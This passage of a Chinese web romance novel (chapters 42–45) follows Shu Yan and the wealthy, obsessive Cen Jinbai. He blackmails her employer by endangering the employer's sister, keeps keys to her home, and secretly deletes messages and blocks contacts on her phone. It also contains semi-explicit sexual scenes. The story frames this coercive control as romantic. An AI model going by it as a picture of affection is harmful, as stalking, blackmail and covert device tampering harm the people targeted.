他身后的黑色轿车,即便被溅上些泥点子,也与这里的环境形成浓烈的格格不入,如同它的主人。 “Zero,我让你画的那幅画,你画好了吗?”岑尽白没有要走的意思,他收回的视线落在那个浑浊的小水洼,想起刚刚抱着她时,水洼里他们的倒影。 他真想进/入她的身体,与她融为一体。 那幅画,是岑尽白很早让Zero画的,他花了好久时间,终于完成。他以为老师会在这个时候奇葩低指责他这幅画画得太烂,谁知接下来的话,让Zero费解。 “那就把这幅画当作礼物,送给齐先生吧。” 第42章 还不是叫了出来 三轮车被安全送到了“好再来”,齐刚跟朋友们告别,舒颜也跟他们道谢。 尽管舒颜再三推脱,齐刚还是坚持要将她安全送回家。 “现在太晚了,你一个小姑娘不太安全,出了事还得我承担。”齐刚说。 舒颜没法反复拒绝,齐刚要跟着,她也赶不走他。 两人并肩走着,气氛因为刚刚的闹剧变得更加微妙。 夜晚的小巷子并不是想象中那样寂静可怕,相反会时不时听见某个窗户传出来的交谈、吵闹的声音。这里人的收入并不是很高,可所有人该哭哭该笑笑。 两人一路上没什么交谈,一直到出租屋的楼下,舒颜跟齐刚道别要上去,他反倒叫住了她。 舒颜与齐刚对视,他的两个眼睛都被打得青紫,虽然有些滑稽,但是五官仍旧硬朗,与岑尽白过于精致的脸完全不是一个风格。 可能是刚刚打架时太用力,让齐刚在面对那双请冷冷的眼睛忽而涌上来些无力感,但是胸膛里的心脏却因为刚刚的话变得酸胀无比,快要堵塞他的呼吸。 他只好深吸一口气:“舒颜,我这个人说话不好听。我虽然对你态度不好,但是……”他平日里看人总是吊儿郎当的一双眼睛变得认真起来,“我并不讨厌你。” 舒颜忽然知道他要说什么了,女人的第六感总是很准,她有些后悔在这听他说了,但是齐刚没有要停下来的意思。 “你不是不想被岑尽白缠着吗?我可以帮你——” “不要说了。”舒颜打断他。 “我不会在这里呆很久,你之前也说了要招短工,而且你的手……应该已经好了。我大概猜到你的意思,但是那样可能会给你带来麻烦。我现在,已经在给你带来麻烦了。”她不敢想,真跟齐刚发展成那样的关系,岑尽白会做什么。 “老板,要是你现在说出我猜测的那些话,我可能在‘好再来’呆不下去了。”她对着齐刚笑笑,眼睛亮的像是今晚天上的星辰。“我要考研……但很大可能是考不上的,但是这段时间结束后,我一定不会呆在这里,我不会为了任何人停留。” 舒颜最后一句话,说得极其认真。 她不将话说得太过明白,因为她保留着自己的私心,她必须得承认,她是一个很自私的人。 若是齐刚开口说了,并一定要她给与回应的话,那一定是拒绝,结果就是不能呆在“好再来”上班。若是他会因为她刚刚的暗示,继续与她保持着上下级的关系,那就再好不过,她需要这份工作,但不需要他的感情。 齐刚觉得自己的胸口变成了气球,因为舒颜的话漏了气,重新变得正常,但有些空落落。 他肿胀青紫的眼睛弯了起来,又因为疼恢复了原来凶凶的模样,退开一步,“想什么呢,都给我讲迷糊了。你怎么跟我妹一样,喜欢说一些我们没文化的人听不懂的,我的意思是,要是你觉得岑尽白太烦,可以多来‘好再来’躲着,我让我那些朋友来,帮你堵着。” 舒颜因为他的反应愣了一会儿,随即明白他是听懂她的话了。 “那我先谢谢老板。” 舒颜的这一个如释重负的笑容,让齐刚转过身,背着她摆了摆手:“行了,你回去吧。” 齐刚高大的身影融在夜色里。 舒颜转身上了楼。 离门口还有几步楼梯,舒颜就看见那里站着一个人。 并不像以往几次那样笔直地站着,而是靠着身后的墙,脊背微弯,头低垂着,柔软的头发遮住了他的脸,带着些颓丧感。 听见舒颜回来了,岑尽白低垂着的头立马抬起来。一张乖巧明艳的带笑脸,驱赶了他身上违和的颓丧感。 猫一样的蓝色眼睛,在看见舒颜时立刻亮了起来,尽管他脸上带着伤,身上也不如平常那样整洁,但只要看见他那张脸,就会轻而易举让人对他生出喜爱之情。 他比齐刚伤得更重,没有做任何处理,像是为了赶到她这里太着急,又像是他惯用地想要惹她怜爱的伎俩。 玻璃珠一样剔透的眼珠掺着盈盈水色,像是快哭出来,脸伤的伤让他显得更加弱势可怜。 他的眼中此刻盛满了她,“颜颜,你回来了。” 舒颜站在楼梯那里,没有再迈上去一个台阶,近乎冷漠地看着他。 明明他是站在楼梯上方的,但却被她看得低下了头,声音潮湿粘腻:“你别这样看我,我会难过。” 这才看清,他耳朵上,重新戴上了耳钉,是粉色的,水晶般的钻,射出的光柔和辗转,弱化了他的攻击性。 他又戴上了耳钉,但为什么戴这个颜色? 舒颜冷笑一声。 她不觉得他会难过,他不像是拥有人类情感的人,但是她又得承认,她也不是,甚至比他还要自私不堪。 她没有问他,也没有跟他说别的什么话,甚至没有问他今晚为什么要做那样吓人的事情。 几个台阶被她一一跨过,她站在那个破旧掉漆的铁门前,掏着包里的钥匙。 不理岑尽白,必然会招致他的不满。 她的手被拉住,制止了她掏钥匙的动作。 她只好回头看向她,对上他的眼睛,干净的泪水如小珍珠一般坠落,擦过他脸上被打出来的淤青,滴入她的掌心,她能感觉到泪水的真实,但是她不信他是真的伤心到会哭。 见过他差点撞到人后的睥睨,被打时病态的笑容,和现在这样,好像是被她惹得哭泣。 舒颜无动于衷,甚至因为他的泪水滴到她的掌心而皱眉。 岑尽白却将她的手按在他的脸上,与他脸上的皮肉紧紧贴合,流下的泪水也粘在然后干涸在她的手心。 舒颜:放开!” “不放。”说话时,他颊边的肌肉鼓动,让她清晰感受。 他一边哭一边又冲她笑,但舒颜始终平静,并没有被他的发疯吓到。 他引着她的手,来到他的耳垂处。 “你不是喜欢我戴耳钉吗?之前我不听话,我又重新戴上了,你摸摸……” “你是不是喜欢粉色?喜欢吗?我特意戴的粉色……” 舒颜的手来到他的耳垂处,有些硬的指甲磕碰上那晶亮的粉钻,歪了一下,带着他的耳垂。 但是他一声没吭。 他装得越是乖巧,越让舒颜感觉到厌烦。 食指放在耳垂后方一点点软肉上,大拇指抵在那颗有棱有角的粉钻上,带着恶意地挤压拉扯。 舒颜垂着眼,睫毛盖住眼神,在眼睑处留下一片阴影。 怎么可能不疼呢? 还不是叫了出来。 …… 最后,舒颜毫不留情地撤回手,说了一句:“可以了。” 岑尽白耳垂红肿,粉钻仍旧闪着光,他的眼圈红了,呼吸也变得沉重,好看的唇微张,眼泪要掉不掉的,惹人心烦。 抬头看他太费劲,她漠然转过头,继续刚刚要开门的动作。 钥匙之间碰撞的声音清脆,掩盖住身后的喘息。 拿钥匙的时候才发现,袖子上不知何时弄伤了些灰,她猜想应该是今天送餐时那箱子上的。 可是不知道是不是今天这里太黑,还是因为刚刚摸过他的手太累,钥匙却怎么都插不进孔。 身后人就在她有些恼的时候,伸手拉住她沾满尘土的袖子:“舒颜,别不要我。” 是破碎的哭腔,颤抖中带着小心翼翼的祈求,即便没有看他,她也能想象出他现在那双蓝色的眼睛是怎样的。 从来只有她求别人别丢下她,没有一个人会求着她让她别离开。 她身形一顿,全身的血液在这一刻不知涌向了哪里,钥匙孔永远都在那里,想什么时候开都可以。 干脆不跟钥匙纠结,回头对着岑尽白,露出今天对他的第一个小脸,近乎于假笑嘲讽,开玩笑似的说:“好啊,那你搬出大别墅,跟我一起住出租屋,我就答应你。” 她回头地让他猝不及防,话也说得猝不及防,分不清真假,先被她的笑晃了眼睛,粉钻跟她比,简直差远了。 他声音不拖泥带水,干脆一声:“好。” 舒颜的笑意还没有消失,却有些淡下。 岑尽白有多嫌弃这里,她是知道的,每次来都要挑着地方走,眉头绝不舒展,即便在与她亲近时。 他厌恶这里隐隐带有潮湿酸味的气味,厌恶总是掉下灰色碎渣的墙皮,厌恶总是擦不干净的玻璃窗,厌恶总是在响的破旧铁门。 除了对她感兴趣,这里的一切,他都厌恶。 “真的吗?如果你真的愿意陪我住出租屋,会继续听我的话吗?”舒颜问。 岑尽白看着她点点头。 “那你不能睡我的床,只能睡在客厅的地上,我不叫你进去,就算是你有需求,也得憋着,想要紫薇,也不能让我听见,还要在事后收拾干净。这一条你能做到吗?” 岑尽白皱着眉望她,蓝眸清澈,不说能也不说不能。 舒颜笑了笑,继续说:“我不想被别人用异样的眼光看待,这里不是有钱人的地盘,你不能穿得过于显眼,你今天这身西装,不能穿,出门在外记得戴上墨镜和口罩,我吃什么你吃什么,就算是我吃垃圾食品,你也得捏着鼻子给我吃下去,做不到就滚。” “我还要学习,你不能打扰我,你要像懂事的小猫小狗那样,我需要的时候出现,不需要的时候就不要打扰我。” “这里的生活条件很差,室内很冷,你不能抱怨,也不能改变;邻居挑事,你不能利用你的身份偏激解决。还有,对齐刚也是这样,我还要去工作,你不要再出现在我和齐刚面前。” “暂时就这些,我知道你不会答应。” 说完之后,舒颜抬头看他,果然,那样乖巧的笑容不复存在。 如果只能装一会儿的狼崽,怎么也做不了一条好狗。 不再犹豫,钥匙很容易进了孔。 铁门被艰难推开,发出它陈旧的哀嚎。 舒颜进了门,门外的岑尽白没有任何动作,直到舒颜将门关上,隔绝了两人。 感觉室内比外面要冷很多,可能是因为最近在化雪。 不知道在哪听的,下雪不冷化雪才冷。 * 岑尽白跟Zero回到别墅,他第一次认真去看自己住的地方,别墅里灯火通明,将天上的星星都衬得黯淡,却并没有让人觉得有温馨的家的感觉,空荡的像一个空壳子。 他清晰预见进入别墅会发生什么。 自从离婚后,岑方启再没回过别墅,秋月苓死守着别墅。 “老师,昨天伯母说,让我不要再在这里住了,怕……伯父回来会不喜欢。”Zero还假意颤了颤肩,做出很害怕的样子。 谁能想到,他半夜睡不着起来喝水,看见那个端庄大方的秋伯母一个人坐在客厅,抚摸着一张照片,画面诡异极了。 更诡异的是,秋月苓将那张照片烧了,火苗几乎将整个别墅点亮,他无意瞥见秋月苓的表情,是在笑,然后是大笑。 这就是传说中的中式恐怖吗? 岑尽白并不在意:“随你。” Zero难以想象,老师就是在这样的家庭长大的。 还没再说什么,岑尽白已经进了别墅,前方明明是灯火通明,他的背影却显得孤寂清冷,Zero莫名想画下这一幕。 老师说过,画画的匠心不能太重,要从心而发,那他现在就算是。 第43章 “你在哪里,我就在哪里” “白白,你回来了!” 秋月苓穿着一件秀有牡丹花的旗袍,高跟鞋尖锐的声音回荡在诺大的别墅里,跌跌撞撞地朝着岑尽白跑来。 但因为太过着急,重心不稳,差点摔倒,岑尽白及时扶住她。 “白白,你爸爸今天回来吗?”秋月苓抓着岑尽白的胳膊,站稳后第一件事就是问岑方启今日是否回来。 岑尽白看着母亲充满希冀的眼神,将手臂上抓着的手摆脱,并没有说话。 沉默已经代表了回答。 秋月苓的眼神一下子就黯淡了。 她每日穿得漂漂亮亮的,只为了等岑方启回来,他最喜欢看她的姐姐穿旗袍了。 “别再等了。”岑尽白说。 岑方启不会回来的。 秋月苓抬头看他,过于精致的妆面在此刻就像是假面一样。 “可是,我已经等了他三十年了。”秋月苓神情委屈至极,带着孩子气的喃喃。 岑尽白似乎有些理解,甚至觉得他母亲做出那样的事情也挺正常的,毕竟,得到喜爱的人,无论做什么都是愿意的。 “白白你知道吗?要是我小心点没被他发现,我们一定还会像之前那样幸福。方启,最爱我姐姐了……” 秋月苓猛然抬起头看自己的儿子,不解又痛苦地对他说:“你为什么不像我一点,像我,就像我的姐姐了……”然后又低眸摇头,“你要是像我姐姐,他会很疼爱你的,我也不至于,将你送去国外。” 这是岑尽白第一次从母亲口中得知自己为什么一直在国外原因,不惊讶也不意外,没有一点伤心。 她走近这个和岑方启极其相像的身影,想要靠过去却被躲开,秋月苓流泪的神情顿住,然后拿出手帕,动作优雅地擦干脸上的泪水。 “不要再执着于那个女孩了,方芝最近有联系你吗?你爸说得对,和方家结亲才是最合适的,舒颜虽然也是方家的女儿,但是方家的老太太不认她,你和她差距太大,是没有好结果的。”秋月苓变脸一样笑着劝说。 岑方启已经厌恶她了,不能再厌恶她和他唯一的孩子,愿意让岑尽白与方家结亲,说明他还是对岑尽白有培养心思的,那她作为岑尽白的母亲,怎么都没办法脱开关系。 就算是岑方启彻底厌恶了她,不愿再与她过日子,那她就只有岑尽白可以依靠了,他是岑家唯一的孩子,理应拥有岑家的一切,给她这个母亲一个依靠。 岑尽白面无表情,摸了摸自己的胸口,感受心脏的跳动。 他在想象,如果没有舒颜的日子,他会如何。 大概会觉得这世间无趣,日子好像也能得过且过。 他跟秋月苓说:“我想要什么,我会自己得到,你想要什么,不应该利用我去得到。” “至于舒颜,只要我还想要她,她就永远别想离开我,别人我都不想要。” 秋月苓盯着他:“那你会失去很多。” 他反问:“妈,你嫁给我爸,失去了什么。” 秋月苓愣住,苦笑着不回答。 “你爱我吗?” 岑尽白目光忽然变得柔和,忽略那双眼睛,秋月苓好像在他身上,看见了岑方启年轻时的样子。 “爱,怎么不爱。” “不,你不爱我,但你爱你自己胜过爱岑方启。” 长大了的儿子一语勘破了秋月苓的内心。 “妈,以后,你自己一个人等岑方启吧。” * 舒颜忐忑了一夜的心,在打开铁门,看见外面空无一人后,终于平静下来。 她忽略了有些空荡荡的心。 昨晚的那些话,是故意为难,也有她自己恶劣的私心。 谁愿意好好的有钱日子不过,陪她过糟糕透顶的生活。 她就知道。 对面也响起了开门声,她是因为睡不着,老人一般都会起很早。 张奶奶问她怎么起那么早。 舒颜:“睡不着。” “是因为昨天和那个帅小伙吵架了吗?是我听错了吗?我觉得你们好像不是在吵架,以为你们终于想通了,想要好好聊一下。” 老房子隔音不好,两个小年轻在门口的声音也不低,虽然模糊不清,但能听出来不像是激烈的吵架声。 张奶奶看向舒颜眼下的黑眼圈,哟了一声,“昨天没聊好吗?” “聊好了的。” 张奶奶还是有点八卦之心在的:“怎么样?” 舒颜露出一个无奈的笑意:“他以后应该不会再来了,这段时间麻烦您了。” “不会再来了?”张奶奶有些唏嘘,但细想又在情理之中。 那小伙子看上去不是一般人,跟小姑娘差距太大,前段时间出手大方,请她关照小姑娘,前几天又让她离人家小姑娘远一点,不用再帮她,真不知道他是怎么想的。 张奶奶安慰舒颜:“没什么打扰的,那小伙子看上去太冷漠了,不适合你。我妹妹家的孙子,上研究生,跟你差不多大,长得也好,性格也好,是你们小姑娘喜欢的类型。” 舒颜听出来张奶奶这是要给她介绍对象,连忙拒绝她的好意,说自己还要准备考研,暂时不考虑恋爱的事。 关上门,舒颜深呼一口气。 卫生间水汽氤氲,温度攀升,舒颜红着脸出来,身体里那个熟悉的灵魂,好像回来了一样。 卫生间的垃圾桶里,躺着一朵带血的栀子花,彻底被遗弃。 那本《博弈论》,被翻到了某一页,有一句话被舒颜用黑色的笔划下来: “在博弈中,没有永远的赢家,只有更聪明的输家。”① 借这本书的那一天,在雨夜里,她用一个吻开始了与他的关系。 借阅日期快到了,这本书该还回去了。 * “什么?你的意思是,你不需要我在“好再来”了?” 舒颜对面坐着的齐刚,眼睛上的伤还没有好,青紫两团,再加上他表情严肃,嘴角绷直,看起来比平时更吓人。 当然他说出的话更加让舒颜心颤。 “但是,你之前说过好多次我可以继续帮你干活。”舒颜被齐刚突如其来的改变弄得手忙脚乱。 “是的,我昨天考虑了一下,我的手已经好了,而且现在店面开不了,只用送餐,这些我一个人干就可以,不用……再多找一个人,多出一份工资。”齐刚看着她说。 他的逻辑没有任何错误,他的手已经好了,何必再多出一份钱,而且他现在的店面都被关了,多出一分钱,那就少一分利润,生意人一眼看出来这是赔本买卖。 舒颜的唇色因为齐刚的话变得有些发白。 齐刚别过头不去看她,桌下的手早就攥成拳头状,泛白的骨节昭示着他有多用力。 他又说:“就是这样,你以后不再是‘好再来’的员工了。” 良久,他看见舒颜低着头的睫毛轻颤,轻轻说了句:“好。” 她体面地笑着,她觉得这段时间跟齐刚相处得不错,说给她预支工资就预支了工资。 “我理解,你现在应该也不容易。”舒颜笑着说,“那就再见了,这段时间谢谢你。” 舒颜的真心感谢换来了齐刚沉闷的一声:“嗯。” 没多留恋,舒颜走出了这个工作了一个多月的小饭馆。 冬日的冷风铺面而来,刮得她的脸生疼,雪都化尽了,但是出了“好再来”不远的一个路边,竟然有一个快要融化了的小雪人。 小雪人只剩下头和肚子了,只有她小腿那么高,怪不得她刚刚来上班时没注意。 哦,不是来上班,是被老板通知辞退。 她蹲下来,拿出手机,给那个快要消失的雪人拍下了一张“遗照”。 雪都化了,但是感觉春天还有好远。 …… 舒颜拍雪人的这一幕,被身后从“好再来”追出来的男人齐刚全部看了去,只要舒颜回头,她就能看见他。 但是她没有回头一次。 齐刚一夜没睡,昨晚他还在隐秘的庆幸,庆幸他分明地看出舒颜并不喜欢岑尽白,甚至对他还有些排斥;庆幸舒颜还想呆在他的“好再来”;庆幸打架时舒颜可能是护着他的;庆幸她是“跟”着他走的,是他把他送回家的…… 但是所有隐秘的庆幸,在看到那幅画后,都归于沉寂,只感到从脚到头都升上来无尽的寒意。 那幅画,画得是他的妹妹——齐珺。 他赶紧给自己的妹妹打电话,但是怎么都打不通。 在这一刻,他害怕了,他不认识新疆那边的人,只能联系齐珺的朋友,她的朋友也联系不上她。 他找了好久,是谁将这*幅画送来的,但都没有头绪,直到凌晨,他接到一个电话。 “齐先生,你的妹妹齐珺,好像出了点事情,现在急需送到医院,但是新疆的雪太大了,交通不便……” “岑尽白!你到底想干什么?!”他捏着手机,在听到听筒里低沉的笑声后,暴怒挟持着他。 那边传来一声轻笑,与他对比不知平静多少。 “齐刚,离舒颜远一点,收起你肮脏的心思。” 齐刚忍耐地闭上眼。 过了不知道多久,岑尽白也是有耐心得很,一直等他开口答应。 “你想让我怎么做?” “与舒颜解除雇佣关系。” …… 舒颜的身影消失后,齐刚拿出手机,拨通了昨天凌晨的那个号码。 “我已经将舒颜辞退了,能麻烦你送我妹妹去医院吗?”这句话说出口,对齐刚来说,简直是忍辱负重。 “当然,齐先生遵守诺言,我也会遵守。” 说完这句话,通话就被掐断,那边显得很急。 * 失去了工作,但是她还要活着,她不想问舒芸要钱,打算在招聘网站上找个业余工作。 她披头散发,上身穿着大棉袄,下身穿着睡衣裤,一边吃着泡面,一边盯着手机上的页面,眼睛都不眨一下。 敲门声响起,她又不得不放下筷子去开门。 舒颜以为是对面的张奶奶,却没想到居然是岑尽白。 黑色风衣里面是剪裁得体的深蓝色西装,刘海被梳上去,露出整张精致的脸,喘着气,蓝色眼睛看见她时亮得吓人,像是一个逃婚的新郎。 舒颜僵在那里,手不自觉握着门把手。 他说:“舒颜,你在哪里,我就在哪里。” 第44章 “抱歉,我不能放过你” 舒颜避开他的视线:“不是让你走了?” “如果我答应你那些要求,你还要我吗?” 答非所问,他避开她让他走的话题,只揪着她昨天答应过的,那些明显为难他的要求。 …… 岑尽白显然来得很匆忙,几乎什么都没有带,唯有身上那一套板正到不能再板正的衣服。 “你从哪来的?”舒颜让他进了屋子,随口问道。 舒颜的打扮和他的打扮形成鲜明对比,因为出租屋冷,她就把自己裹得严严实实,睡裤大棉袄,反观岑尽白,西装背头,看起来成熟蛊惑。 “从公司。”岑尽白说。 其实不是,岑方启说带他去一个谈合作,结果带他去见了方芝。 全程冷脸的他被岑方启训了一顿,说他要是不听话,就把他和秋月苓赶出去,别想得到岑家一分钱和享受到因为家族带来的所有便利。 舒颜“哦”了一声,有些可惜的看着已经凉了的泡面,正准备收拾收拾,就被人从身后抱住。 “颜颜……” 岑尽白圈住她因为穿着大棉袄而臃肿的腰,将脸放在她披散的头发里。 她今天刚洗的头,头发上全是洗发水的味道,清楚地听见他嗅闻的声音。 他蹭来蹭去的动作像是跟主人求欢的大狗。 舒颜想起自己跟他立下的规距,如果她要他,那他就要听她的话。 “松开我。”舒颜说着,想挣脱他的怀抱。 “如果我什么都没有,我不姓岑,你是不是就不会遇见我,不会刻意接近我。”他在她的后面吐息滚烫,说出这样一番奇怪的话。 舒颜因为这话忘记了挣脱他的怀抱,反应过来离开他的怀抱。 岑尽白没有像之前那样立刻就黏过来,反而松开了她。 她放下手中的碗,转过头皱眉看着他:“你在说什么?我听不懂。” 岑尽白有些阴沉的脸色突然绽放笑意,“听不懂吗?那算了。” 接着看向她刚刚吃过的泡面碗:“今天没去上班吗?” 这句话真是问到舒颜的心坎上了,她低着头不回答。 “是出了什么事吗?”岑尽白耐心问,摸了摸她凌乱的散发,缠绕在指尖。 没了工作也没什么丢脸的,找不到工作也不会让她泄气,不就是一个人呆在冰冷的出租屋,看那些没有温度的文字,做那些死板的题目。 “我被辞退了。”舒颜说这句话,带着些委屈,她自己没察觉到,也没注意到,自己柔软的头发,正在被人用手指抓着,一圈一圈绕在手上。 岑尽白惊讶地“啊”了一声,面露遗憾:“怎么会这样呢?昨天晚上,我看齐先生很在乎你啊,怎么会辞退你呢。” 舒颜总觉得他的话有些阴阳怪气,但是她听不出来哪里奇怪,有些低落地解释道:“齐刚是因为手受伤了才招工,现在他手好了,没必要再招人多出钱了。” 她很理解,这是人之常情。 但是她还是有些难过。 意识到自己居然向岑尽白展现了真实情绪,舒颜觉得有些别扭,转头收拾碗。 柔软的发丝从他指尖溜走,根本抓不住。 岑尽白强势地堵住她的去路。 舒颜只到他的胸口,他这样一堵,她只好仰着脖子看他。 岑尽白注意到,她视线停在了他的耳垂,他今天没有戴耳钉。 并不是他忘记了,而是岑方启不让他戴。 “你是小姑娘吗?娘们唧唧戴什么耳环?换了!进了公司上班,谁不知道你是我岑方启的儿子?别给我招什么非议!” 但是舒颜的视线没有停留多久,很快移开。 舒颜:“岑尽白,你到底什么意思?” 他一直是低着头看她的,蓝眸深邃,加上他这身穿着,自带一层压迫感。 “抱歉,刚刚在门口说是如果我答应,但是我的回答是,你说的那些要求,我可能做不到。” 在门口说如果他答应她的要求,她还会不会要他,只是想进她的门。 他忽然上手摸她的脸,像抚摸又像是揉捏,温柔至极,不带有任何色。情色彩。 “舒颜,你在这个世界上,也很孤单吧。” 他说得是陈述句。 “其实我也是。” 舒颜后退一步,因为他掌心的温度太热了。 他的目光也同样炙热,让她觉得自己在他面前被扒。光了衣服。 岑尽白并没有逼近她,将摸过她脸是手放下,默默攥紧。 “抱歉舒颜,我不能放过你。” “你还不知道吧,这里的钥匙我一直都有,无论你换多少锁,我都能轻而易举地进来。” 说实话,舒颜太弱了,没钱没权,想要控制太容易了,不过之前他觉得那样没意思,所以才愿意伪装成守株待兔的人。 她瞬间抬头,不可置信地看着他。 她将自己裹得像个球,这样受惊的样子有些有趣,岑尽白乐了。 “所以舒颜,别再尝试推开我了,你躲不开我的,直到我厌倦。” …… “为什么扔掉发卡?” 随着这句话落下,舒颜感觉到。 岑尽白已经忍耐好些天,之前是不敢暴露,现在跟她透露一些,才显出强势。 他第一次做这样的手艺活,虽然对他来说不过是讨她开心和宣示主权的玩意儿,但被人扔到垃圾桶里,说不在意是假的。 “……你给我的,我想,想怎么处理就怎么处理!” 岑尽白又拍了一下刚刚的地方,“还挺硬气。” “夹紧。” “……” 他们最开始,舒颜都是享受方,不过不知从什么时候,岑尽白就渐渐强势起来,会在开始先满足她,后面就要让她加倍还利息。 “你太快了……” “哪里快? “一个小时算快吗?” “那我慢些?” 舒颜气岑尽白曲解她的意思,脚趾都是嘛的,脑子被晃。荡地很混沌,肯定都是浆糊了,说不过就算是,体力上也比不过。 她艰难睁开眼,脸色酡红,看了一眼觉得接受不了,又闭上眼。 偏偏岑尽白今天就是恶趣味,非让她看,面对面看。 她记得,他以前不这样的,都是紧着她来。 果然能装。 岑尽白不知道挨了多少巴掌,都在她别的地方讨回来。 软软的,水很多。 在国外的时候,风气开放,各种发色的女的都来找他约过,一次的有,锲而不舍好多次的也有,他只觉得厌恶。 直到遇见舒颜,他才知道,和她做这种事是这样快乐。 “你不是也挺喜欢这样的?以后都这样好不好?” …… 清理完,人乖乖地躺在自己怀里。 障碍都清除了,短时间内她跑不掉。 他今晚本性露出一点,在床。事上也不愿意压抑自己。人是晕过去的,到现在眉头都皱着,跟骂他是混蛋时的一个样。 干爽了,他看着怀里人,一股奇异的感觉从胸口溢出来,冲淡了他面对岑方启压迫时想要暴戾的心情。 他拨开她脸上的发丝,吻上她的唇,撬开唇齿,她以为喝水呢,舌头一直跟他纠缠,岑尽白还没享受过这样的待遇,将她舌头缠累了才放开。 舒颜的手机被放在床头柜,正在震动,岑尽白顿了下,伸出长臂将手机捞了过来。 备注为“老板”的联系人发来语音通话。 岑尽白捂住舒颜的耳朵,随那手机想。 黑夜里,那双蓝眸冷极了,刚刚的温存消失得无影无踪。 等那手机不再响了,岑尽白拿开舒颜耳朵上的手,将手机拿过来。 备注为“老板”的联系人给舒颜发了好多消息,只不过刚刚舒颜在跟他缠绵,现在又累极,根本没看到这些。 【舒颜,不要相信岑尽白,“好再来”关停,跟他有关。】 【他还逼我辞退你,拿我妹妹威胁我。】 隔了大概一小时,即便舒颜没有回复他,他又发了信息。 【舒颜,我不是要辞退你。】 【打字太麻烦,你接个电话。】 【语音电话未接通】 但是舒颜没有接到这个电话,也不会看到这些消息。 岑尽白将齐刚发来的信息一条一条全都删除,最后加上拉黑一条龙。 他将齐刚和舒颜的聊天记录仔仔细细地看了一遍,没发现什么不能容忍的地方,看完之后想了想,将对话框删除。 然后他又想起还有一个明与成,这人比齐刚好解决多了,知道他是谁,根本不需要他出手。 但是他还是不放心,将明与成的对话框找出来,与齐刚一样的处理方式。 手机放回原位,他的脸上出现满意的笑容,温柔地将一个吻印在正在睡觉的舒颜脸上,蜻蜓点水一般轻,显得珍视。 “好乖。” 他什么时候不会喜欢她呢?他也不知道。 如果有一天他不喜欢她了,他好像也不能接受别人碰她呢。 他喜欢将脸贴近她的胸口,这是她与那些没有生命的画是不一样的,她是鲜活的,有生命的。 那里是软的,香的。 * 舒颜再次睁眼,已经是天光大亮了。 昨晚像鬼一样缠着她不放的男人,西装革履、神采奕奕地站在他的床前,比外面的天光还耀眼,正温柔地注视着她。 “早上好。” 舒颜动了一下,不知牵扯到哪里,胀痛胀痛的,像是他还在里面。 “你怎么还没走?”幸好,嗓子虽然有些痛,但不是哑的。 岑尽白笑容不变,“我在等你。” 然后靠近之后关切问:“很疼吗?抱歉。” 但是他不能保证以后还会不会这样。 舒颜将头转向另一边,表示不想和他交流。 “你快走吧。” 她知道,岑尽白不可能呆在这里,他不会为她做出什么改变。 岑尽白将她的脸转向这边,然后不管她有没有刷牙,就这样吻上去,不过没有深。入,只是碰了碰嘴唇。 “要不要搬去别的地方,那里比这里安静,更适合你学习。”他低沉的声音响在耳侧,像是蛊惑一般开口。 舒颜想都没想就拒绝。 岑尽白看了她一会儿,笑了笑,也没勉强。 他起身,不再与她呼吸交错。 “我让Zero叫了人来,会将这里重新整修打扫整理一遍。” “你好好休息,等下Zero会送早餐来,你有他的联系方式吗?” 岑尽白将Zero的联系方式给了她,说有什么事情直接联系Zero就好。 …… 岑尽白走后,舒颜看向模糊的玻璃窗,知道外面现在是个晴天。 又想起刚刚岑尽白让她搬走,她仍觉得后怕。 要是她住到岑尽白的地方,那就真变成他的宠物了,没有话语权,就只有一个供他取乐的空壳子。 她现在不过是狐假虎威,岑尽白要是真想操控她,简直是易如反掌。 Zero知道添加好友的是舒颜,先打了个招呼。 【舒颜姐姐,你好啊!】 后面还加了个小熊hello表情包。 他终于不叫他师娘了。 舒颜没找到没有表情包,也很少使用,于是回: 【你好】 后面是一个微笑的黄脸,微信里自带的。 Zero那边回了个黄脸惊恐的表情。 【我马上就到了!】 舒颜这才想起自己还没开始洗漱。 她急忙爬起来,因为动作太大,大。腿处的筋像被扯了一。夜一样,害得她又滚回了床上。 都怪岑尽白! 昨天晚上她一开始是舒服的,后来太久了,又痛又爽。 她忍着纵欲过度留下的后果,穿上了衣服。 揉了好一会儿腿,正常走路终于看不出什么异样了。 Zero发信息说已经到了,舒颜走出卧室给他开门。 开门后,Zero就冲着舒颜绽放了一个大大的笑脸。 “舒颜姐姐,早上好!” 舒颜笑着回:“早上好。” 她看见了,在开门的那一秒,舒颜清楚地看见了Zero没笑之前的表情,是皱着眉,和岑尽白每次来到这个地方时的表情一样。 Zero手里拎着一个拎着一个挺大的蓝色盒子,他打开后舒颜才知道,这是一个智能的保温箱。 里面的早餐很丰盛,中西皆有。 “不知道舒颜姐姐喜欢吃中式还是西式的早餐,就都带了些。”Zero说。 舒颜向他说了谢谢。 这简直比她每天早上啃面包好了太多。 Zero在她吃饭的间隙说:“舒颜姐姐,等下会有人来这里打扫一遍,会很吵,老师让我带你去一个安静的地方。” 舒颜也差不多吃完了,她不好奇岑尽白说的那个安静的地方,反而跟Zero说:“去市里的图书馆吧,那里安静,正好我也要还一本书。” Zero没急着答应她,先打电话问了岑尽白,然后才跟舒颜说可以。 舒颜拿上那本《博弈论》,Zero开车带着她到了市图书馆。 市里的图书馆有五层,每一层都有阅读位置。 Zero说他要去三楼的艺术厅,跟舒颜分开。 舒颜在二楼随便找了一个位置,才刚坐下,肩膀被人碰了一下。 “舒颜?” 舒颜站起身回头,才发现是许久未联系的明与成。 第45章 诱人的淡粉色 “明与成?”舒颜小声惊讶 “没想到在这碰到你。”明与成挠挠头,低声笑着说。 “是啊,好巧。”这是在图书馆,舒颜也要压低声音。 自从那次明与成跟她表白,她拒绝后,明与成就再没联系过她,让她觉得他的告白是不是在跟她开玩笑。 但是明与成表现得很尴尬,舒颜也不知道该跟他说什么,感谢了他给她整理的考研资料。 “不用谢,不用谢。”明与成还是尬笑着,神情犹豫又有些拘谨。 明与成看看四周,像是在找什么人。而后像是松了口气一般,再对上舒颜笑得比较自然。 他将自己的书搬过来,在舒颜身边的空位置坐下,然后晃了晃手里的手机,舒颜明白他的意思,做出了一个欧克的手势。 明与成在手机上敲敲打打,但是没过一会儿,脸色突然变得很难看,舒颜正好看见,作出一个疑惑的表情。 明与成的脸色并没有缓和,将手机举起来给她看,页面是与她的聊天界面,只不过他刚刚发出的消息旁边,是一个红色感叹号。 舒颜也疑惑了。 她没删除他啊。 然后她拿出自己的手机,搜索明与成,这个联系人仍旧在,只不过,被她拉黑了。 舒颜神色怔了怔,然后将明与成从黑名单里拉出来。 然后在聊天框里打字。 【抱歉,我没有拉黑你。】 明与成看了她一眼,然后低头打字: 【怎么回事?】 